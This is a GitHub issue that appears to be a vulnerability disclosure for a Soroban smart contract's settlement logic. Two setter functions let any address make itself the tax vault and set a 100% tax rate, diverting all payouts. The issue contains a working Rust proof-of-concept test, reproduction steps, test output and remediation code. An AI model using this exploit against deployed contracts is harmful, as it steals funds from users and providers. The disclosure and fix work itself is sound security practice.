Skip to content

Critical: unauthenticated redirection of all settlement payouts in utility_contracts (PoC included) #38

Description

@amitbhakar

Unauthenticated takeover of the settlement path: set_government_vault self-authorizes and set_tax_rate has no authorization at all

Severity: Critical — direct loss of funds

Component: contracts/utility_contracts/src/lib.rs
Affected functions: set_government_vault, set_tax_rate (settlement legs in claim and deduct_units)

Summary

The two pieces of state that decide where settled funds go — the government vault address and the tax rate — are both writable by anyone.

set_government_vault calls require_auth() on the address the caller passed in. An attacker satisfies that check with their own signature simply by naming themselves, and installs themselves as the vault.

set_tax_rate performs no authorization check of any kind, and its range check explicitly permits 10,000 basis points — 100%.

Chained, an address with no role in the protocol redirects the entire proceeds of every subsequent settlement — funds users deposited and providers earned — out of the contract's pooled token balance and into an address of the attacker's choosing. Two transactions, no privileged key, no prior interaction with the contract.

Impact

After two calls from an unprivileged address, every payout leg that should reach a provider reaches the attacker instead.

I measured this against a real Stellar Asset Contract balance rather than internal bookkeeping. A provider performing an ordinary, correctly signed claim received 0; the attacker received 100,000 stroops — the whole settlement — drawn directly out of the contract's pooled balance.

Four properties matter for scoping:

The storage is global, not per-meter. DataKey::GovernmentVault and DataKey::TaxRateBps are single instance-storage entries consulted by every settlement of every meter, in every token. This is a protocol-wide loss, not a per-victim one. Both settlement paths (claim and deduct_units) read the same two slots, so both are captured identically.

It is stored state, so it is repeatable. The attacker pays for two transactions once. In the PoC I let the provider claim a second time after the single hijack; the attacker's take went from 100,000 to 200,000 stroops with no further attacker involvement.

The honest bound: the attacker captures flow rather than instantly emptying the pool. claim requires the provider's signature and deduct_units requires a signed usage record, so an attacker cannot force settlement themselves — they wait for the protocol to operate normally. In practice this is not much of a limit: user top-ups exist precisely to be consumed and settled out, so every stroop that ever leaves the pool as a settlement leaves it to the attacker.

The operator cannot lock the setters back down. They can overwrite the vault with their own address, but the attacker can overwrite it again just as cheaply, indefinitely, and can front-run any settlement worth front-running. There is no admin gate on either function to fall back on.

The contract's rescue lever is also unavailable. emergency_drain is gated by require_admin_auth, which resolves the admin through DataKey::AdminAddress. That slot is only written by set_admin, which requires env.current_contract_address().require_auth() — a check no external caller can satisfy. AdminAddress is therefore never populated, get_admin_or_panic always panics, and emergency_drain can never execute. On an already-deployed instance there is no in-contract mitigation, and diverted funds cannot be recovered by the contract itself.

Root cause

1. set_government_vault — authorizes the argument, not an authority

// lib.rs:6130-6140
pub fn set_government_vault(env: Env, vault_address: Address) {
    vault_address.require_auth();

    env.storage()
        .instance()
        .set(&DataKey::GovernmentVault, &vault_address);

    env.events()
        .publish((soroban_sdk::symbol_short!("GovVault"),), vault_address);
}

The only check binds to the caller-supplied argument. Passing your own address makes the check trivially self-satisfying. This is the classic self-authorization anti-pattern: the signature proves the attacker controls the address they nominated, which is exactly what an attacker wants to prove.

2. set_tax_rate — no authorization whatsoever

// lib.rs:6142-6155
pub fn set_tax_rate(env: Env, tax_rate_bps: i128) {
    // Should be admin-only in production
    if tax_rate_bps < 0 || tax_rate_bps > 10_000 {
        panic_with_error!(&env, ContractError::InvalidUsageValue);
    }

    env.storage()
        .instance()
        .set(&DataKey::TaxRateBps, &tax_rate_bps);

    env.events()
        .publish((soroban_sdk::symbol_short!("TaxRate"),), tax_rate_bps);
}

No require_auth, no role check, and a ceiling that explicitly admits 100%.

3. The settlement leg that consumes both

// lib.rs:5072-5079 (claim)
let tax_rate_bps = get_tax_rate_or_default(&env);
let (tax_amount, after_tax_amount) = calculate_tax_split(payout, tax_rate_bps);

if tax_amount > 0 {
    if let Some(gov_vault) = get_government_vault_or_default(&env) {
        client.transfer(&env.current_contract_address(), &gov_vault, &tax_amount);

deduct_units (lib.rs:4873-4881) carries the identical leg.

The split is a plain proportion, so 10,000 bps leaves the provider exactly nothing:

// lib.rs:1897-1900
fn calculate_tax_split(amount: i128, tax_rate_bps: i128) -> (i128, i128) {
    let tax_amount = (amount * tax_rate_bps) / 10000;
    (tax_amount, amount - tax_amount)
}

Supporting anchors: DEFAULT_TAX_RATE_BPS = 50 (lib.rs:1241), get_tax_rate_or_default (lib.rs:1890-1895), get_government_vault_or_default (lib.rs:1902-1904), and the provider gate on claim (lib.rs:5000).

Attacker requirements

Anonymous. The attacker needs a funded account to pay transaction fees and nothing else — no admin key, no role, no prior interaction with the contract, no relationship to any meter, provider or user, and no pre-existing state. Both calls succeed on the attacker's very first transaction against a freshly deployed contract.

Even the attacker's own signature is needed for only one of the two calls. set_tax_rate requires zero signatures; I verified this by submitting it under a deliberately empty authorization context.

To receive value, someone must settle — a provider calling claim, or a provider submitting a signed usage record to deduct_units. The attacker neither participates in nor influences that step; they simply hold the vault slot when it happens.

Reproduction

  1. Deploy the contract normally and initialise an admin.
  2. Have a user register a meter with a provider and fund it via top_up, so the contract holds pooled tokens.
  3. As the attacker, call set_government_vault(attacker_address), signing only as the attacker. The require_auth() at lib.rs:6132 is satisfied because the address being authorized is the one the attacker supplied.
  4. As the attacker, call set_tax_rate(10_000). This carries no signature at all.
  5. Let the provider perform an ordinary claim, signed by the provider as usual.
  6. Observe that the provider's token balance is unchanged, the attacker's balance increased by the full settlement amount, and the contract's balance decreased by the same amount.

Proof of concept

Self-contained integration test. It runs entirely inside the in-process soroban-sdk test environment — no network access, no broadcast transaction.

Note on methodology: the attack test never calls mock_all_auths(). Blanket mocking appears only in the fixture, covering actions the honest admin, user and provider genuinely perform and sign themselves. The attack step presents a single authorization entry belonging to the attacker; the set_tax_rate step presents an empty authorization set. Three control tests bound the claim and demonstrate the harness is not manufacturing the result.

use soroban_sdk::testutils::{Address as _, Ledger as _, MockAuth, MockAuthInvoke};
use soroban_sdk::{token, Address, BytesN, Env, IntoVal};
use utility_contracts::{UtilityContract, UtilityContractClient};

/// Meter off-peak rate, in token stroops per unit of ledger time.
const RATE: i128 = 1_000;
/// Amount the honest user deposits into the meter.
const TOPUP: i128 = 10_000_000;
/// Ledger-time the meter is advanced by before each claim.
const ACCRUAL_WINDOW: u64 = 100;

struct Fixture {
    env: Env,
    contract_id: Address,
    token_id: Address,
    provider: Address,
    attacker: Address,
    bystander: Address,
    meter_id: u64,
}

/// Honest deployment: admin initialises the contract, a user registers a meter with a
/// provider and funds it with real tokens. Every action here is one the legitimate party
/// performs and signs itself, which is why blanket mocking is acceptable in this block
/// and nowhere else in this file.
fn setup() -> Fixture {
    let env = Env::default();
    env.ledger().set_timestamp(1_000_000);

    let admin = Address::generate(&env);
    let user = Address::generate(&env);
    let provider = Address::generate(&env);
    let attacker = Address::generate(&env);
    let bystander = Address::generate(&env);

    // A real Stellar Asset Contract is the meter's payment token, so every number below
    // is an actual token balance rather than internal bookkeeping.
    let sac = env.register_stellar_asset_contract_v2(admin.clone());
    let token_id = sac.address();

    let contract_id = env.register(UtilityContract, ());
    let client = UtilityContractClient::new(&env, &contract_id);

    env.mock_all_auths();

    client.set_initial_admin(&admin);

    let sac_admin = token::StellarAssetClient::new(&env, &token_id);
    sac_admin.mint(&user, &(TOPUP * 10));

    let pubkey = BytesN::from_array(&env, &[7u8; 32]);
    let meter_id = client.register_meter(&user, &provider, &RATE, &token_id, &pubkey, &0u32);

    // Real transfer of user funds into the contract's pooled balance.
    client.top_up(&meter_id, &TOPUP, &user);

    Fixture { env, contract_id, token_id, provider, attacker, bystander, meter_id }
}

fn bal(env: &Env, token_id: &Address, who: &Address) -> i128 {
    token::Client::new(env, token_id).balance(who)
}

/// Restrict the auth context to a single provider-signed `claim`.
fn only_provider_claim(f: &Fixture) {
    f.env.mock_auths(&[MockAuth {
        address: &f.provider,
        invoke: &MockAuthInvoke {
            contract: &f.contract_id,
            fn_name: "claim",
            args: (f.meter_id,).into_val(&f.env),
            sub_invokes: &[],
        },
    }]);
}

/// ATTACK. An address holding no role, no key material and no relationship to the meter
/// takes 100% of the provider's settlement, twice in a row.
#[test]
fn attacker_redirects_entire_settlement_to_own_address() {
    let f = setup();
    let client = UtilityContractClient::new(&f.env, &f.contract_id);

    let pool_before = bal(&f.env, &f.token_id, &f.contract_id);
    let provider_before = bal(&f.env, &f.token_id, &f.provider);
    let attacker_before = bal(&f.env, &f.token_id, &f.attacker);
    assert_eq!(attacker_before, 0, "attacker starts with nothing");

    // Step 1: attacker points the government vault at itself. The auth context holds
    // exactly one entry, signed by the attacker, for the attacker's own address.
    // No admin, provider or user signature is present in this context.
    f.env.mock_auths(&[MockAuth {
        address: &f.attacker,
        invoke: &MockAuthInvoke {
            contract: &f.contract_id,
            fn_name: "set_government_vault",
            args: (f.attacker.clone(),).into_val(&f.env),
            sub_invokes: &[],
        },
    }]);
    client.set_government_vault(&f.attacker);

    // Step 2: attacker sets the tax rate to 100%. The auth context is EMPTY -- this call
    // carries zero signatures, not even the attacker's, and still succeeds.
    f.env.mock_auths(&[]);
    client.set_tax_rate(&10_000i128);

    // Step 3: the honest provider performs an ordinary, correctly signed claim.
    f.env.ledger().set_timestamp(f.env.ledger().timestamp() + ACCRUAL_WINDOW);
    only_provider_claim(&f);
    client.claim(&f.meter_id);

    let provider_gain = bal(&f.env, &f.token_id, &f.provider) - provider_before;
    let attacker_gain = bal(&f.env, &f.token_id, &f.attacker) - attacker_before;
    let pool_out = pool_before - bal(&f.env, &f.token_id, &f.contract_id);

    println!("[attack] pool_out={pool_out} provider_gain={provider_gain} attacker_gain={attacker_gain}");

    let expected = ACCRUAL_WINDOW as i128 * RATE;
    assert_eq!(attacker_gain, expected, "attacker must receive the entire settlement");
    assert_eq!(provider_gain, 0, "provider must receive nothing");
    assert_eq!(pool_out, attacker_gain, "the funds left the contract's pooled balance");

    // The hijack is stored state, not a one-shot. A second, independent settlement is
    // captured too, with no further attacker transaction.
    let pool_mid = bal(&f.env, &f.token_id, &f.contract_id);
    f.env.ledger().set_timestamp(f.env.ledger().timestamp() + ACCRUAL_WINDOW);
    only_provider_claim(&f);
    client.claim(&f.meter_id);

    let attacker_total = bal(&f.env, &f.token_id, &f.attacker) - attacker_before;
    let provider_total = bal(&f.env, &f.token_id, &f.provider) - provider_before;
    let pool_out_2 = pool_mid - bal(&f.env, &f.token_id, &f.contract_id);

    println!("[attack:persistence] second_claim_pool_out={pool_out_2} provider_total={provider_total} attacker_total={attacker_total}");

    assert_eq!(pool_out_2, expected, "second settlement also fully diverted");
    assert_eq!(attacker_total, expected * 2);
    assert_eq!(provider_total, 0);
}

/// CONTROL 1. The identical fixture and the identical claim, with the two attacker calls
/// removed. Establishes that the fixture settles correctly by default, so the diversion
/// above is caused by the two ungated setters and not by the accrual maths or the harness.
#[test]
fn control_untampered_claim_pays_the_provider() {
    let f = setup();
    let client = UtilityContractClient::new(&f.env, &f.contract_id);

    let pool_before = bal(&f.env, &f.token_id, &f.contract_id);
    let provider_before = bal(&f.env, &f.token_id, &f.provider);
    let attacker_before = bal(&f.env, &f.token_id, &f.attacker);

    f.env.ledger().set_timestamp(f.env.ledger().timestamp() + ACCRUAL_WINDOW);
    only_provider_claim(&f);
    client.claim(&f.meter_id);

    let provider_gain = bal(&f.env, &f.token_id, &f.provider) - provider_before;
    let attacker_gain = bal(&f.env, &f.token_id, &f.attacker) - attacker_before;
    let pool_out = pool_before - bal(&f.env, &f.token_id, &f.contract_id);

    println!("[control:clean] pool_out={pool_out} provider_gain={provider_gain} attacker_gain={attacker_gain}");

    // DEFAULT_TAX_RATE_BPS is 50 (lib.rs:1241). It is withheld from the provider payout,
    // but because no government vault is configured the transfer leg at lib.rs:5078-5079
    // is skipped and that slice simply stays in the contract.
    let gross = ACCRUAL_WINDOW as i128 * RATE;
    let default_tax = (gross * 50) / 10_000;
    assert_eq!(provider_gain, gross - default_tax);
    assert_eq!(attacker_gain, 0, "no third party is paid on the clean path");
    assert_eq!(pool_out, provider_gain);
}

/// CONTROL 2 (harness honesty). Proves that `mock_auths(&[])` really does cancel the
/// earlier `mock_all_auths()` from the fixture. `claim` is correctly gated -- it calls
/// `meter.provider.require_auth()` at lib.rs:5000 -- so under the empty auth context it
/// must fail. Without this control, `set_tax_rate` succeeding under the same empty
/// context would prove nothing about its lack of a gate.
#[test]
fn control_empty_auth_context_is_genuinely_empty() {
    let f = setup();
    let client = UtilityContractClient::new(&f.env, &f.contract_id);

    f.env.ledger().set_timestamp(f.env.ledger().timestamp() + ACCRUAL_WINDOW);

    f.env.mock_auths(&[]);
    let gated = client.try_claim(&f.meter_id);
    println!("[control:harness] claim under empty auth context -> {gated:?}");
    assert!(gated.is_err(), "a properly gated entrypoint must fail with no signatures present");

    // Same empty context, same transaction shape, ungated entrypoint: it succeeds.
    let ungated = client.try_set_tax_rate(&10_000i128);
    println!("[control:harness] set_tax_rate under empty auth context -> {ungated:?}");
    assert!(ungated.is_ok(), "set_tax_rate requires no signature at all");
}

/// CONTROL 3 (bounds the claim). `set_government_vault` does check a signature -- just the
/// wrong one. Signing as the attacker while naming a third party as the vault fails,
/// which shows `require_auth()` at lib.rs:6132 is bound to the caller-supplied argument.
/// That is precisely why passing your own address defeats it, and it confirms the auth
/// machinery was live during the attack test rather than disabled.
#[test]
fn control_vault_setter_authorizes_the_supplied_address_not_an_admin() {
    let f = setup();
    let client = UtilityContractClient::new(&f.env, &f.contract_id);

    f.env.mock_auths(&[MockAuth {
        address: &f.attacker,
        invoke: &MockAuthInvoke {
            contract: &f.contract_id,
            fn_name: "set_government_vault",
            args: (f.bystander.clone(),).into_val(&f.env),
            sub_invokes: &[],
        },
    }]);
    let foreign = client.try_set_government_vault(&f.bystander);
    println!("[control:self-auth] attacker naming a third-party vault -> {foreign:?}");
    assert!(foreign.is_err(), "the signature is checked against the argument, so a foreign vault is rejected");

    // The very same attacker, naming itself, is accepted.
    f.env.mock_auths(&[MockAuth {
        address: &f.attacker,
        invoke: &MockAuthInvoke {
            contract: &f.contract_id,
            fn_name: "set_government_vault",
            args: (f.attacker.clone(),).into_val(&f.env),
            sub_invokes: &[],
        },
    }]);
    let own = client.try_set_government_vault(&f.attacker);
    println!("[control:self-auth] attacker naming itself as vault -> {own:?}");
    assert!(own.is_ok(), "self-nomination satisfies the only check present");
}

Running it

Place the file as tests/poc.rs in a crate that depends on the utility_contracts library and on soroban-sdk with the testutils feature enabled, then run:

cargo test --test poc -- --nocapture --test-threads=1

It needs to live in a separate test crate that links the library, because the contract's own test targets do not currently compile.

Build note

The repository as published does not compile. There are exactly two errors, both in lib.rs, and I applied the following two fixes in order to build and run the PoC:

  • Line 2196, pub use utility_contract::Client as UtilityContractClient; — there is no utility_contract module. soroban-sdk's #[contractimpl] already emits UtilityContractClient into the enclosing scope, so this line should be deleted.
  • Line 4857, if let Some(config) = &meter.sla_configMeter::sla_config is an SLAConfig, not an Option<SLAConfig>; presence is tracked by the sibling sla_config_set flag. The correct form is the one the codebase already uses in claim at line 5019: if meter.sla_config_set { ... }, reading fields off meter.sla_config directly.

Both fixes are unrelated to this vulnerability. Neither touches authorization, tax, vault or settlement logic, and the SLA branch at line 4857 is not on the execution path this report exercises.

Results

running 4 tests
test attacker_redirects_entire_settlement_to_own_address ...
  [attack] pool_out=100000 provider_gain=0 attacker_gain=100000
  [attack:persistence] second_claim_pool_out=100000 provider_total=0 attacker_total=200000
ok
test control_empty_auth_context_is_genuinely_empty ...
  [control:harness] claim under empty auth context -> Err(Ok(Error(Context, InvalidAction)))
  [control:harness] set_tax_rate under empty auth context -> Ok(Ok(()))
ok
test control_untampered_claim_pays_the_provider ...
  [control:clean] pool_out=99500 provider_gain=99500 attacker_gain=0
ok
test control_vault_setter_authorizes_the_supplied_address_not_an_admin ...
  [control:self-auth] attacker naming a third-party vault -> Err(Ok(Error(Context, InvalidAction)))
  [control:self-auth] attacker naming itself as vault -> Ok(Ok(()))
ok

test result: ok. 4 passed; 0 failed

The attack line is the finding. 100,000 stroops left the contract, the provider who earned it got 0, and an attacker with no role in the system got all of it. The persistence line shows the second claim behaving identically with no further attacker transaction, bringing the attacker to 200,000 — confirming the hijack is stored configuration, not a single-shot trick.

The clean control runs the identical fixture and the identical provider claim with the two attacker calls removed: pool_out=99500 provider_gain=99500 attacker_gain=0. The provider receives the accrual less the default 50 bps, which stays in the contract because no vault is configured and the transfer leg is skipped. This rules out the accrual arithmetic, the fixture, or the token setup as the cause — the only difference between the two runs is the two unauthenticated writes.

The harness-honesty control exists because a scoped-authorization claim is easy to fake in this test environment. claim is correctly gated (meter.provider.require_auth() at lib.rs:5000) and under the empty context it fails with Error(Context, InvalidAction). The very next call, set_tax_rate, succeeds under that same empty context. So set_tax_rate succeeding is a statement about the contract, not about the harness having authorization disabled.

The self-authorization control pins down the exact defect in set_government_vault. Signing as the attacker while naming a third party fails; signing as the attacker while naming the attacker succeeds. The signature is checked against the function argument, which is why supplying your own address defeats the check entirely — and the rejection in the first half confirms the authorization machinery was live throughout.

Remediation

Gate both functions on an authority the contract actually controls, and keep the vault co-signature only as a secondary check:

fn require_current_admin(env: &Env) {
    let admin: Address = env
        .storage()
        .instance()
        .get(&DataKey::CurrentAdmin)
        .unwrap_or_else(|| panic_with_error!(env, ContractError::UnauthorizedAdmin));
    admin.require_auth();
}

pub fn set_government_vault(env: Env, vault_address: Address) {
    require_current_admin(&env);
    // Secondary control only: the incoming vault co-signs, which guards against a
    // mistyped address. It must not be the sole check.
    vault_address.require_auth();

    env.storage()
        .instance()
        .set(&DataKey::GovernmentVault, &vault_address);
    // ... event
}

pub fn set_tax_rate(env: Env, tax_rate_bps: i128) {
    require_current_admin(&env);

    if tax_rate_bps < 0 || tax_rate_bps > MAX_TAX_RATE_BPS {
        panic_with_error!(&env, ContractError::InvalidUsageValue);
    }

    env.storage()
        .instance()
        .set(&DataKey::TaxRateBps, &tax_rate_bps);
    // ... event
}

Two traps are worth calling out explicitly.

Do not gate these on require_admin_auth. That is the obvious fix and it would brick both functions permanently. require_admin_auth (lib.rs:1831) resolves the admin through get_admin_or_panic (lib.rs:1819), which reads DataKey::AdminAddress. The only writer of that slot is set_admin (lib.rs:3107), which requires env.current_contract_address().require_auth() — a check no external caller can satisfy — so AdminAddress is never populated and get_admin_or_panic always panics. Bind to DataKey::CurrentAdmin instead, which set_initial_admin (lib.rs:6415) does populate and which the contract's own set_dao_governor (lib.rs:8216) already uses as its admin pattern.

Do not simply delete vault_address.require_auth(). Requiring the incoming vault to co-sign is a reasonable guard against a fat-fingered address. The defect is that it is the only check, not that it exists. Keep it and put the admin gate in front of it.

Cap the tax rate well below 100%. A configuration that can consume an entire settlement has no legitimate use, and leaving the ceiling at 10,000 bps means any future authorization slip becomes total loss rather than a bounded one. Introduce a MAX_TAX_RATE_BPS constant at the protocol's real maximum and reject anything above it.

Fix set_legal_vault in the same pass. It has the identical self-authorization shape — vault.require_auth() on the caller-supplied argument and nothing else.

Because there is no working admin identity behind AdminAddress and emergency_drain cannot execute, there is no in-contract way to mitigate this on an already-deployed instance. Any fix has to arrive as new code, and funds already diverted cannot be recovered by the contract itself.

Notes on prior coverage

The closest existing item in the tracker concerns the contract's admin setters (set_admin, set_dao_governor, set_grid_administrator, set_platform_fee_bps, set_protocol_fee_vault, set_min_route_threshold) and requests timelocks and multi-sig on top of them. That description is accurate for those six functions, but neither function in this report appears in that list and neither follows that pattern: set_government_vault authorizes the address the caller passed in, and set_tax_rate performs no authorization at all. That item describes a governance-concentration risk whose attacker is a compromised admin key and whose remedy is a delay and a threshold layered onto an existing gate. This report describes two settlement-critical setters that have no gate to layer anything onto, reachable by an address holding no key, no role and no prior interaction with the contract. Applying that fix would leave this bug untouched.

The remaining nearby items are general hardening requests (RBAC scoped to the enterprise modules, a circuit breaker, multi-sig improvements, address-format and zero-address validation, invariant tests) that name neither function and neither storage slot. One requests maximum-value bounds on set_tariff_rate and set_platform_fee_bps; that is adjacent to my secondary recommendation to cap the tax rate, but not to the authorization defect that is the substance of this report — and set_platform_fee_bps already enforces MAX_PLATFORM_FEE_BPS today, whereas set_tax_rate accepts 10,000 basis points. The tax-compliance path is not mentioned anywhere: the GovVault and TaxRate events these two setters emit are absent from the event inventory, which otherwise enumerates the contract's events down to FeeSet, VaultSet and ThreshSet.

One point I want to raise myself rather than have it surface during triage: set_tax_rate carries the in-line comment "Should be admin-only in production." I read that as a note of intent rather than a published known issue. It says nothing about set_government_vault — the half of this finding that actually redirects the funds — nothing about the 10,000 basis-point ceiling, and nothing about the consequence. The project's audit documentation records no active known issues, and its accepted-risk register covers only oracle centralisation, randomness, storage TTL, front-running and off-chain device key management. The permission matrix in the security documentation has no row for setting the government vault or the tax rate; the nearest threat-model entry is admin key compromise, which presumes exactly the admin gate these two functions lack. The behaviour is present in the code as published, and the proof of concept exercises it there.

I'm happy to walk through the PoC, re-run it against a patched build, or provide any additional detail that would help with triage.

poc.rs.zip

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions